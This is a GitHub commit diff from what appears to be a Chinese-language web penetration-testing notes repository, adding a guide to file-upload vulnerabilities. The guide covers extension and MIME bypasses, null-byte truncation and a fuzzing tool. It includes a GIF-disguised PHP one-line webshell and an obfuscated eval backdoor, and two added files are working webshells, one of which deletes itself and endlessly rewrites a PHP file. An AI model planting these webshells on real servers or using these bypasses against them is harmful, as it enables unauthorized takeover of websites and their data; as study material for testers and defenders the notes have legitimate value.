File tree 6 files changed +87
-1
lines changed 6 files changed +87
-1
lines changed Original file line number Diff line number Diff line change 4
4
5
5
### [ fsciety] ( ./fsciety/README.md )
6
6
7
- ### [ SQL注入 ] ( ./sql/README.md )
7
+ ### [ SQL 注入 ] ( ./sql/README.md )
8
8
9
+ ### [ 文件上传漏洞] ( ./upload/README.md )
Original file line number Diff line number Diff line change 1
1
## 手工注入
2
2
3
+ 有的时候自动化会被禁止使用,比如一些删除和插入,会导致数据库被破坏。
4
+
3
5
### 大佬文章推荐
4
6
5
7
[ 肖洋肖恩、] ( https://www.cnblogs.com/-mo-/p/12730682.html )
Original file line number Diff line number Diff line change
1
+ ## 文件上传漏洞
2
+
3
+ 前端策略不做考虑,一般使用` burpsuite ` 抓包修改绕过。
4
+ 比如上传一个` .gif ` 文件,再进行抓包修改成.php 文件上传。
5
+
6
+ ## 绕过方式
7
+
8
+ 首先判断是程序员自己写的上传点,还是编辑器的上传功能。
9
+
10
+ - 如果是编辑器上传功能,上网查找当前编辑器的漏洞。
11
+ - 如果是写的上传点 上传一个正常的 jpg 图片 查看上传点是否可用 上传一个正常的 jpg 图片,burp 拦截,修改后缀为 php (可以检测前端验证 MIME 检测 文件内容检测 后缀检测) 上传一个正常的 jpg 图片,burp 拦截, 00 截断 1.php%00.jpg 判断服务器是什么类型,web 服务器程序,是什么类型,版本号多少 利用解析漏洞。
12
+
13
+ ### MIME 检测 文件头 content-type 字段校验
14
+
15
+ 面对这方式,一般都可以把木马改成.gif 上传。
16
+
17
+ 在使用一句话木马的时候,也可以在前后混淆图片。
18
+
19
+ #### PHP %00 截断
20
+
21
+ PHP<5.3.4 时 shell.php%00.jpg 可截断%00 后的内容,配合服务器中间件解析漏洞绕过。
22
+
23
+ ### 文件扩展名黑名单校验
24
+
25
+ 一般情况下都可以使用大小写或者其他方式绕过比如:
26
+
27
+ ``` bash
28
+ .pHp .AsP .phpphp
29
+ ```
30
+
31
+ #### fuzz 脚本
32
+
33
+ 使用[ upload-fuzz-dic-builder] ( https://github.com/c0ny1/upload-fuzz-dic-builder ) 工具生成 fuzz 字典,并且导入` burpsuite ` 中使用是比较方便的,并且生成时给的上传点相关信息越详细,生成的字典越精确。
34
+
35
+ 比如:上传文件名为:test,可以上传后缀为 jpg,后端语言为 php,中间件为 apache,操作系统为 Windows,输出字典名为 upload_filename.txt 的 fuzz 字典
36
+
37
+ ``` bash
38
+ python upload-fuzz-dic-builder.py -n test -a jpg -l php -m apache --os win -o upload_file.txt
39
+ ```
40
+
41
+ ### 检测内容是否合法或含有恶意代码
42
+
43
+ 通过开头的文件幻数进行检测:判断文件开头的前 10 个字节,基本就能判断出一个文件的真实类型
44
+
45
+ 文件格式幻数(magic number),它可以用来标记文件或者协议的格式
46
+
47
+ 大部分文件的文件幻数都含有不便于输入的特殊字符,而 gif 图的文件幻数为 GIF89a,可以方便地利用
48
+
49
+ ``` php
50
+ GIF89a <image binary data > <?php @eval($_POST['shell']);?> <image binary data >
51
+ ```
52
+
53
+ 也可以使用变量名代替函数
54
+
55
+ ``` php
56
+ <?php
57
+ $a="TR"."Es"."sA";
58
+ $b=strtolower($a);
59
+ $c=strrev($b);
60
+ @$c($_POST['shell']);
61
+ ?>
62
+ ```
63
+
64
+ ### 其他资料
65
+
66
+ [ yinwc] ( https://yinwc.github.io/2020/04/21/%E6%96%87%E4%BB%B6%E4%B8%8A%E4%BC%A0%E6%BC%8F%E6%B4%9E%E6%80%BB%E7%BB%93/#/%E5%88%A9%E7%94%A8RTLO )
67
+ [ 狼组] ( https://wiki.wgpsec.org/knowledge/web/fileuploads.html )
Original file line number Diff line number Diff line change
1
+ <?php
2
+ $fun = create_function('',$_POST['shell']);
3
+ $fun();
4
+ ?>
Original file line number Diff line number Diff line change
1
+ <?php
2
+ ignore_user_abort(true);
3
+ set_time_limit(0);
4
+ @unlink(__FILE__);
5
+ $file = '555.php';
6
+ $code = '<?php phpinfo();?>';
7
+ while (1){
8
+ file_put_contents($file,$code);
9
+ usleep(5000);
10
+ }
11
+ ?>
You can’t perform that action at this time.
0 commit comments